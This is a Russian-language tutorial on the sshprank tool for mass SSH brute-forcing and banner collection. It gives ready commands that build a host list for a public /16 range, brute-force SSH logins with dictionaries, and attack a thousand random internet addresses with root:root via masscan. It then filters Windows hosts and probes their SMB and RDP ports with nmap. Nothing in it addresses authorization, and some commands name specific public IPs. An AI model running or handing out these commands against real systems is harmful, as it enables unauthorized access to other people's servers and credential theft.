sshprank: массовая проверка учётных данных SSH и быстрый сбор SSH баннеров
Эта статья посвящена инструменту sshprank, который представляет собой быстрый сканер большого количества SSH серверов. Программа ищет компьютеры с запущенными SSH и пробует выполнить вход, используя указанные учётные данные, то есть выполняет брут-форс. Ещё программа умеет очень быстро собирать баннеры большого числа SSH.
Если вы вдруг не знаете, что такое SSH, то смотрите онлайн книгу «Полное руководство по SSH в Linux и Windows». SSH это важнейшая служба для подключения и выполнения команд на удалённых компьютерах под управлением Linux. Но SSH также активно используется на FreeBSD компьютерах и даже иногда на Windows.
Как установить sshprank
Установка sshprank в Kali Linux
sudo apt install python3-pip git clone https://github.com/noptrix/sshprank cd sshprank sudo pip3 install -r docs/requirements.txt ./sshprank.py -H
Установка sshprank в BlackArch
sudo pacman -S sshprank
Установка sshprank в Windows
Начните с установки Python по статье «Как установить Python и PIP на Windows 10».
После установки Python и PIP скачайте архив с исходным кодом sshprank по ссылке: https://github.com/noptrix/sshprank/archive/master.zip
Распакуйте архив.
Откройте командную строку или PowerShell (если не знаете как, то смотрите статью «Настройка рабочего окружения PowerShell в Windows и Linux»).
Перейдите в папку распакованного архива с помощью команды cd (у вас будет другой путь до папки, поэтому отредактируйте команду соответствующим образом):
cd C:\Users\MiAl\Downloads\sshprank-master\
Установите требуемые зависимости:
pip install -r docs\requirements.txt
Выполните проверку (должна вывестись справка по использованию программой):
python .\sshprank.py -H
Далее работа с программой такая же как в Linux, но вместо sshprank нужно указывать python .\sshprank.py, например:
python .\sshprank.py -h 138.201.59.125 -v
Как создать список хостов
Программа sshprank напрямую не поддерживает диапазоны, хотя чуть позже я покажу, как всё-таки можно указывать подсети для сканирования с помощью sshprank. Поэтому для sshprank нужно создать список хостов.
Если вам будут непонятны следующие примеры, то изучите раздел «Раскрытие фигурных скобок».
Итак, я хочу просканировать диапазон 138.201.0.0/16. Для составления списка хостов я выполняю следующую команду:
echo -e 138.201.{0..255}.{0..255}"\n" | sed 's/ //' > hosts.txt
Проверим, что у нас получилось:
head -n 20 hosts.txt
Среди прочих, там будут и такие хосты:
- 138.201.0.0
- 138.201.1.0
- 138.201.2.0
- 138.201.3.0
Эти адреса являются действительными, объяснение почему так, вы найдёте здесь: «Может ли IP адрес с нулём или 255 на конце быть действительным?».
Как запустить sshprank
В sshprank хосты можно указать следующим опциями:
-h <ХОСТ:[ПОРТЫ]> - один порт для взлома. Можно указать несколько портов, в этом случае разделите их запятыми, т.е.: 22,2022,22222 (порт по умолчанию: 22) -l <ФАЙЛ> - список хостов для взлома. Формат: <хост>[:порты]. Можно указать несколько портов, в этом случае разделите их запятыми (порт по умолчанию: 22)
То есть если мы хотим указать одиночный хост, то это можно сделать с помощью опции -h:
./sshprank.py -h 138.201.59.125
Также можно указать порты (иначе используется порт по умолчанию для SSH службы 22):
./sshprank.py -h 138.201.59.125:22,2022,22222
По умолчанию программа не выводит никакой информации, даже не показывает взломанные хосты, логины и пароли. Чтобы эта информация выводилась на экран, используйте опцию -v:
./sshprank.py -h 138.201.59.125 -v
Если не указан логин и пароль, то в качестве логина используется «root», и в качестве пароля используется «root».
Как указать файлы логинов и паролей в sshprank
Чтобы указать имя пользователя, пароль или словари с ними используются следующие опции:
-u <ПОЛЬЗОВАТЕЛЬ> - единичное имя пользователя (по умолчанию: root) -U <ФАЙЛ> - список имён пользователей -p - один пароль (по умолчанию: root) -P <ФАЙЛ> - список паролей -C <ФАЙЛ> - список комбинаций ПОЛЬЗОВАТЕЛЬ:ПАРОЛЬ
Вместе с программой поставляются крошечные словари:
- lists/user.txt — имена пользователей
- lists/pws.txt — пароли
- lists/combo.txt — комбинации имён пользователей и паролей
Но словари это совсем крошечные, я бы рекомендовал использовать другие, более подходящие. Примеры вы можете найти в разделе «Списки слов (словари)».
Запустим sshprank в отношении одного хоста для подбора логина и пароля, для брутфорса будут использоваться указанные словари:
sshprank -h 192.168.0.100 -U user.txt -P passwords.txt -v
Результаты sshprank
Если бы мы не использовали опцию -v, то практически ничего не было бы выведено. Опция -v выводит информацию о попытках подключения, успешно подобранных учётных записях, а также о причинах неудачи, например:
- [!] could not connect: - не удалось подключиться (поскольку служба SSH не запущена, либо хост вообще офлайн).
- [!] login failure: … (auth timeout) - таймаут аутентификации — самая вероятная причина, это неправильное имя пользователя или пароль.
- [!] login failure: … (auth failed) — сервер явно сообщил о неудачном входе (неправльное имя пользователя или пароль).
- [!] login failure: … (pubkey auth) — не удалось аутентифицироваться из-за того, что вход осуществляется по публичному ключу.
Обратите внимание на строку с зелёной звёздочкой:
[*] found login: 192.168.0.100:22:mial:2
То есть найден логин (mial) и пароль (2) для службы на 22 порту на хосте 192.168.0.100.
Все успешно найденные логины и пароли сохраняются в файл owned.txt в текущей рабочей папке. Имя и путь до файла можно изменить опцией -o <ФАЙЛ>.
Как просканировать большое количество SSH
Мы можем указать список хостов с помощью следующей опции:
-l <ФАЙЛ> - список хостов для взлома. Формат: <хост>[:порты]. Можно указать несколько портов, в этом случае разделите их запятыми (порт по умолчанию: 22)
Пример запуска:
./sshprank.py -l hosts.txt -U lists/user.txt -P lists/pws.txt -v
Разобраться в выводе sshprank невозможно, если сканируется множество хостов. Чтобы постоянно не проверять вручную файл owned.txt, можно использовать следующие команды:
touch owned.txt tail -f owned.txt
Первая команда создаст файл, если он ещё не существует. А вторая команда будет немедленно выводить все изменения в этом файле, если они будут иметь место.
Как быстро собрать SSH банеры в большой сети
Для этого используется опция -b:
-b <ФАЙЛ> - список хостов для сбора баннеров sshd в формате: <хост>[:порты]. Множественные порты могут быть разделены запятыми (порт по умолчанию: 22)
То есть с этой опцией можно указать список хостов в том же формате, что и у опции -l. Изменится только режим работы — вместо брут-форса будут собираться банеры.
Далее пример запуска, полученные результаты будут сохранены в указанный файл:
./sshprank.py -b hosts.txt > ssh_banners.txt
Мониторить содержимое этого файла можно аналогичным образом:
touch ssh_banners.txt tail -f ssh_banners.txt
Баннеры можно использовать для различных целей. Например, можно найти все компьютеры на Windows на которых запущена служба SSH:
cat ssh_banners.txt | grep -i windows
На серверах Windows довольно часто открыты порты служб SMB и RDP, с ними можно поиграться.
Чтобы отфильтровать хосты под управлением Windows:
cat ssh_banners.txt | grep -i windows | awk -F ':' '{ print $1 }' > windows_hosts.txt
Сканирование на SMB и NetBIOS:
sudo nmap -iL windows_hosts.txt -p 139,445 --open
Сканирование на открытые порты RDP:
sudo nmap -iL windows_hosts.txt -p 3389 -sU -sS --open
Пример получения информации об RDP и имени компьютера Windows:
sudo nmap -p 3389 -sU -sS --script 'rdp-*' 138.201.134.34
Чтобы найти компьютеры под управлением FreeBSD:
cat ssh_banners.txt | grep -i bsd
По банерам можно искать старые версии дистрибутивов Linux, специфичные версии реализации SSH о которых известно, что они уязвимые, выполнять статистический анализ и прочее.
Опции masscan
sshprank использует модуль Masscan, а также имеет опцию -m которой можно передать опции уже в сам Masscan. Несколько примеров:
Быстрое сканирование, затем взлом найденных служб ssh. Данные для сканирования передаются в masscan (-m '-p22,2022 --rate=5000 --source-ip 192.168.13.37 --range 192.168.13.1/24'):
sudo ./sshprank -m '-p22,2022 --rate=5000 --source-ip 192.168.13.37 --range 192.168.13.1/24'
То есть диапазоны IP адресов для сканирования указываются в masscan опцией --range.
Сгенерировать тысячу случайных IPv4 адресов, затем просканировать порты со скоростью 1k p/s и найденные sshd сервера попытаться взломать учётными данными 'root:root':
sudo ./sshprank -m '-p22 --rate=1000' -r 1000 -v
Можно указать не только эти, а любые опции Masscan. Описание всех опций Masscan: https://kali.tools/?p=976
Все опции sshprank
Все опции sshprank вы найдёте на странице: https://kali.tools/?p=5554
Заключение
sshprank пригодиться когда вашей целью являются SSH сервера разбросанные в большой сети или когда вам нужно очень быстро собрать банеры SSH на больших диапазонах. Например, с диапазона /16 (65536 IP адресов) можно собрать баннеры SSH служб буквально за несколько минут.
Связанные статьи:
- Инструкция по использованию Router Scan by Stas’M. Часть первая: Опции и анонимность сканирования (55%)
- Как пользоваться Kali Linux в WSL (подсистеме Windows для Linux): подборка лучших программ (ч. 1) (55%)
- Уроки по Nmap. Урок 2: Примеры сбора информации скриптами NSE (52%)
- Атака на устройства в локальной сети через уязвимый роутер (50.6%)
- Аудит безопасности RDP (50%)
- Как использовать Hashcat для взлома паролей, содержащих нелатинские символы (русские буквы в пароле, китайские иероглифы и пр.) (RANDOM - 2.5%)
Это можно провернуть на Windows 10? Если да то как
Да, в Windows тоже работает. В статью добавлен раздел «Установка sshprank в Windows», подробности там.